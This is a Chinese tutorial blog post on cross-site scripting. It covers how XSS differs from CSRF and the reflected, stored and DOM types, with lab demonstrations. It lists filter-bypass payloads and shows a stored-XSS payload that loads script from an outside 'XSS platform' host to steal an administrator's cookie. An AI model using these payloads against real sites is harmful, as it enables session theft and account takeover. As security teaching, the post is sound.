跨站脚本攻击XSS与CSRF区别方法详解

目录
  • 引文
  • 简介
  • XSS与CSRF区别
    • ONE
    • TWO
  • XSS攻击方法
    • 反射型
    • 存储型
    • DOM型
  • XSS攻击危害
  • 结语

引文

上篇文章给大家带来了XML实体注入(XXE)不知道小伙伴们学了后有没有自己去运用,今天给大家带来了一个名为跨站脚本攻击(XSS)的漏洞的介绍。

简介

XSS 攻击全称跨站脚本攻击,XSS 是一种在 web 应用中的安全漏洞,它允许攻击者将代码植入到 web 网站里面,供给其它用户 访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。

XSS与CSRF区别

之前讲过CSRF漏洞,它同样也是利用用户访问网站链接来进行攻击,那么它与XSS漏洞之间的区别是什么,在我个人的理解中可以分为两个大方向:

ONE

原理不同,CSRF利用的是网站本身的漏洞来去攻击,而XSS则是将攻击代码插入网站中来进行攻击。

TWO

利用环境不同, CSRF攻击中需要受害者登录网站,网站有认证信息才能攻击,而XSS不用。

XSS攻击方法

首先XSS有三种攻击方式:

  • 反射型xss:不会永久存储用户的数据,仅发生在用户的一次访问之后。
  • 存储型xss:攻击代码被持久化保存在服务器上,不会因为一次访问就消失,持久攻击。
  • DOM型不需要与服务器端交互的,它只发生在客户端处理数据阶段。

接下来我会分开详细的讲解这几种类型是怎样利用的:

反射型

客户端通过某种方式向服务器端发送恶意JS代码=>服务器将未过滤或过滤不彻底的恶意JS代码输出(返回给浏览器)=>浏览器中的JS解释器解析恶意JS代码,使用户受到攻击。

一个经典的XSS攻击请求,然网页弹出xss:

<script>alert(/xss/)</script>

当然不止这一个,很多情况下一些函数被过滤了,我们也有绕过过滤的方法,下面就简单列举几个:

 <script>alert(vulnerable)</script>
 %3Cscript%3Ealert('XSS')%3C/script%3E
 <script>alert('XSS')</script>
 <img src="javascript:alert('XSS')">
 <DIV STYLE="background-image: url(javascript:alert('XSS'))">
 <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
 <DIV STYLE="width: expression(alert('XSS'));">
 1"><ScscriptRipt>alert(1)</ScscriptRipt>

接下来给大家带来一个渗透的例子:

我们打开靶机查看源码,发现它是向服务器提交了一个name参数,而这一个参数值插入到了<h3></h3>标签之间 ,因此可能存在XSS漏洞。

于是我们构造请求,将name赋值为:

<script>alert('xss')</script>

一个经典的弹窗payload,我们提交请求查看效果:

成功弹窗,一次简单的反射XSS攻击成功达成。

存储型

储型XSS的特别之处在于提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求时目标页面时不用再提交XSS代码。所以存储型XSS的攻击效果更强,而且攻击的范围更广。一般存在于留言板评论等地区。 用一个靶机来给大家演示一下:

一个可以发表信息树洞网站,有登录和评论系统,我们先随便评论几句测试一下:

构造PAYLOAD

<IMG SRC="javascript.:alert('XINO');">

我们简单访问一下存储路径,发现是一个错报的图片,存在XSS漏洞,接着我们利用XSS平台(一个DIY构造不同XSS攻击功能代码的网站,当XSS生效时可以回到网站查看攻击是否生效和攻击得出的信息)构造XSSpayload

得到构造好的恶意攻击链接:

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss9.com/PAns';>

提交在评论区然后访问保存路径,回到XSS平台查看:

得到admin管理员的cookie,我们就可以通过修改cookie来获取管理员权限,从而进行进一步的渗透攻击。上面就是一个简单的存储型XSS的利用。

DOM型

攻击代码并不需要服务器解析响应,利用的是浏览器端的DOM解析,在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞。因为利用比较少,就放个简单payload:

<img src=1 onerror=alert(1)>

XSS攻击危害

根据上文的演示大家也能看出来XSS的危害了吧,这里就综合简述一下它的危害。

  • 盗取各类用户帐号,如管理员帐号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 网站挂马
  • 强制发送电子邮件(钓鱼)
  • 控制受害者机器(肉鸡)向其它网站发起攻击

结语

今天比较详细的讲了XSS漏洞的原理以及应用方法,其中比较重要的是反射型XSS与存储型XSS,这两个的利用条件并不是很苛刻而且效果很突出,有兴趣的小伙伴可以自己去搭建靶机来进行合法测试,切勿随意对别人网站进行测试攻击,互联网并非法外之地,以上就是跨站脚本攻击XSS与CSRF区别方法详解的详细内容,更多关于跨站脚本攻击XSS CSRF的资料请关注我们其它相关文章!

(0)

相关推荐

  • Yii框架防止sql注入,xss攻击与csrf攻击的方法

    本文实例讲述了Yii框架防止sql注入,xss攻击与csrf攻击的方法.分享给大家供大家参考,具体如下: PHP中常用到的方法有: /* 防sql注入,xss攻击 (1)*/ function actionClean($str) { $str=trim($str); $str=strip_tags($str); $str=stripslashes($str); $str=addslashes($str); $str=rawurldecode($str); $str=quotemeta($str)

  • 详解XSS 和 CSRF简述及预防措施

    在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式.本文将会简单介绍 XSS 和 CSRF 的攻防问题. 1. xss XSS,即 Cross Site Script,中译是跨站脚本攻击:其原本缩写是 CSS,但为了和层叠样式表(Cascading Style Sheet)有所区分,因而在安全领域叫做 XSS. XSS 攻击是指攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式. 攻击者

  • 关于跨站脚本攻击问题

    一般的攻击就是写一段脚本看是否能执行,就能判断是否是攻击了,比如说我写<script> alert("执行了我了哦!!!"); </script>,然后看看当页面加载的时候是否能执行,就行了.目前为止一般的网站这段代码都不会执行,但是换一种方式呢? 比如<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>,估计也米有几个网站执行吧,大家都知道的. 下面看更猥琐的测试例子, '';!--

  • jQuery Mobile漏洞会有跨站脚本攻击风险

    概述 根据国外媒体的最新报道,谷歌公司的安全工程师Eduardo Vela在jQuery Mobile框架中发现了一个安全漏洞,这个漏洞将会让 所有使用了jQuery Mobile的网站暴露于跨站脚本攻击风险之下 . jQuery Mobile项目(jQuery框架中的一个组件)是一个基于HTML5的开发框架,在它的帮助下,开发者可以设计出能够适配目前主流移动设备和桌面系统的响应式Web站点以及应用程序.实际上,jQuery Mobile不仅可以为主流移动平台提供jQuery的核心库,而且它也是

  • 跨站脚本攻击XSS原理与防范实例分析

    本文实例讲述了跨站脚本攻击XSS原理与防范.分享给大家供大家参考,具体如下: 跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的. 一个简单的留言板 我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表 <!DOCTYPE html> <html> <head> <?php include(

  • 跨站脚本攻击XSS(Cross Site Script)的原理与常见场景分析

    前言 前段时间在网上看到一个网址,好奇之下进去看了看.胜利的条件是你录入一个串,让其调用prompt(1) .发现里面有好多想不到的东西,今天终于悠闲了来这里说说XSS. XSS 原理 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目

  • 跨站脚本攻击XSS与CSRF区别方法详解

    目录 引文 简介 XSS与CSRF区别 ONE TWO XSS攻击方法 反射型 存储型 DOM型 XSS攻击危害 结语 引文 上篇文章给大家带来了XML实体注入(XXE)不知道小伙伴们学了后有没有自己去运用,今天给大家带来了一个名为跨站脚本攻击(XSS)的漏洞的介绍. 简介 XSS 攻击全称跨站脚本攻击,XSS 是一种在 web 应用中的安全漏洞,它允许攻击者将代码植入到 web 网站里面,供给其它用户 访问,当用户访问到有恶意代码的网页就会产生 xss 攻击. XSS与CSRF区别 之前讲过C

  • Laravel5.3+框架定义API路径取消CSRF保护方法详解

    从Laravel 5.3+开始,API路径被放入了routes/api.php中.我们绝大多数的路径其实都会在web.php中定义,因为在web.php中定义的路径默认有CSRF保护,而API路径默认没有CSRF保护.在Laravel官网文档中写到:/p> Any HTML forms pointing to POST, PUT, or DELETE routes that are defined in the web routes file should include a CSRF toke

  • 跨站脚本攻击XSS分类介绍以及解决方案汇总

    目录 1.什么是XSS? 2.XSS 分类 2.1 反射型XSS 2.2 存储型XSS 2.3 DOM型XSS 3.漏洞危害 4.测试方法 5.解决方案 5.1 httpOnly 5.2 客户端过滤 5.3 充分利用CSP 5.5 服务端校验 总结 1.什么是XSS? Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击.攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行.利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie.SessionI

  • Java中==运算符与equals方法的区别及intern方法详解

    Java中==运算符与equals方法的区别及intern方法详解 1.  ==运算符与equals()方法 2. hashCode()方法的应用 3. intern()方法 /* Come from xixifeng.com Author: 习习风(StellAah) */ public class AboutString2 { public static void main(String[]arsgs) { String myName="xixifeng.com"; String

  • Android 6.0区别U盘和SD卡设备的方法详解

    如下所示: public static boolean isSdcardExists(Context context) { StorageManager storageManager = StorageManager.from(context.getApplicationContext()); List<VolumeInfo> volumes = storageManager.getVolumes(); for (VolumeInfo volInfo : volumes) { DiskInfo

  • php及codeigniter使用session-cookie的方法(详解)

    1.读写cookie <1>原生 setcookie('name','value',time) 设置失败,没有正常写入浏览器,测试失败,原因未知 <2>CI框架 $this->input->set_cookie("views","test10",1000); echo $_COOKIE["views"];//此方法获取值时,如果值不存在会报错,当然可以先用isset($_COOKIE["views&q

  • MySQL数据库设计之利用Python操作Schema方法详解

    弓在箭要射出之前,低声对箭说道,"你的自由是我的".Schema如箭,弓似Python,选择Python,是Schema最大的自由.而自由应是一个能使自己变得更好的机会. Schema是什么? 不管我们做什么应用,只要和用户输入打交道,就有一个原则--永远不要相信用户的输入数据.意味着我们要对用户输入进行严格的验证,web开发时一般输入数据都以JSON形式发送到后端API,API要对输入数据做验证.一般我都是加很多判断,各种if,导致代码很丑陋,能不能有一种方式比较优雅的验证用户数据呢

  • jQuery中的on与bind绑定事件区别实例详解

    on(events,[selector],[data],fn) events:一个或多个用空格分隔的事件类型和可选的命名空间,如"click"或"keydown.myPlugin" . selector:一个选择器字符串用于过滤器的触发事件的选择器元素的后代. data:当一个事件被触发时要传递event.data给事件处理函数. fn:该事件被触发时执行的函数. false 值也可以做一个函数的简写,返回false. bind(type,[data],fn) 为每

  • D3.js实现散点图和气泡图的方法详解

    前言 小编之前已经跟大家分享过了<D3.js实现柱状图的方法详解>和<D3.js实现折线图的方法详解>这两篇文章,已经介绍过柱状图和折线图了.下面就来说说和这两种非常相似的图表--散点图和气泡图.有需要的朋友们可以参考学习. 散点图和气泡图的实现 还是和之前一样,我们先把简单的画图框架搭起来,添加SVG画布: <!DOCTYPE html> <html lang="en"> <head> <meta charset=&q

随机推荐